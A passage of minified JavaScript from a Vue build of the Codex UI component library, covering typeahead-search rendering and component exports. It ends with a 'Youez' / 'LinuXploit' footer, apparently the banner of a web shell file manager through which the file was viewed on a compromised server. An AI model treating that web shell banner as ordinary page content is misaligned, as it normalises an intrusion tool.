cdx-typeahead-search__search-footer",{"cdx-typeahead-search__search-footer__active":c}]),href:e.asSearchResult(u).url,onClickCapture:t.withModifiers(p=>e.onSearchFooterClick(e.asSearchResult(u)),["stop"])},[t.createVNode(i,{class:"cdx-menu-item__thumbnail cdx-typeahead-search__search-footer__icon",icon:e.articleIcon},null,8,["icon"]),t.createElementVNode("span",Rr,[t.renderSlot(e.$slots,"search-footer-text",{searchQuery:e.searchQuery},()=>[t.createElementVNode("strong",Or,t.toDisplayString(e.searchQuery),1)])])],42,Tr)):t.createCommentVNode("v-if",!0)]),_:3},16,["id","expanded","show-pending","selected","menu-items","footer","search-query","show-no-results-slot","aria-label","onUpdate:selected","onMenuItemKeyboardNavigation"])]),_:3},16,["modelValue","button-label","use-button","aria-controls","aria-expanded","aria-activedescendant","onUpdate:modelValue","onFocus","onBlur","onKeydown"]),t.renderSlot(e.$slots,"default")],40,Dr)],6)}const Pr=_(Ar,[["render",Fr]]);let ct=0;function _r(e){var l;const n=t.getCurrentInstance(),o=(l=n==null?void 0:n.props.id)!=null?l:n==null?void 0:n.attrs.id;return e?"".concat(Te,"-").concat(e,"-").concat(ct++):o?"".concat(Te,"-").concat(o,"-").concat(ct++):"".concat(Te,"-").concat(ct++)}exports.CdxAccordion=Qo;exports.CdxButton=fe;exports.CdxButtonGroup=Zo;exports.CdxCard=dl;exports.CdxCheckbox=un;exports.CdxChipInput=cn;exports.CdxCombobox=ls;exports.CdxDialog=ms;exports.CdxField=Is;exports.CdxIcon=G;exports.CdxInfoChip=As;exports.CdxLabel=Ae;exports.CdxLookup=Ts;exports.CdxMenu=Be;exports.CdxMenuButton=Ks;exports.CdxMenuItem=hn;exports.CdxMessage=Nn;exports.CdxMultiselectLookup=Ws;exports.CdxPopover=ei;exports.CdxProgressBar=yt;exports.CdxProgressIndicator=ai;exports.CdxRadio=ci;exports.CdxSearchInput=An;exports.CdxSearchResultTitle=mn;exports.CdxSelect=Dn;exports.CdxTab=Mn;exports.CdxTable=nr;exports.CdxTabs=mr;exports.CdxTextArea=yr;exports.CdxTextInput=tt;exports.CdxThumbnail=gt;exports.CdxToggleButton=Nt;exports.CdxToggleButtonGroup=$r;exports.CdxToggleSwitch=xr;exports.CdxTooltip=Nr;exports.CdxTypeaheadSearch=Pr;exports.TableRowIdentifier=je;exports.stringHelpers=Pl;exports.useComputedDirection=Fe;exports.useComputedDisabled=bt;exports.useComputedLanguage=Gt;exports.useFieldData=se;exports.useFloatingMenu=Me;exports.useGeneratedId=_r;exports.useI18n=X;exports.useIntersectionObserver=We;exports.useModelWrapper=oe;exports.useResizeObserver=En;exports.useSlotContents=Ze;exports.useSplitAttributes=le;exports.useWarnOnce=Je;

Youez - 2016 - github.com/yon3zu
LinuXploit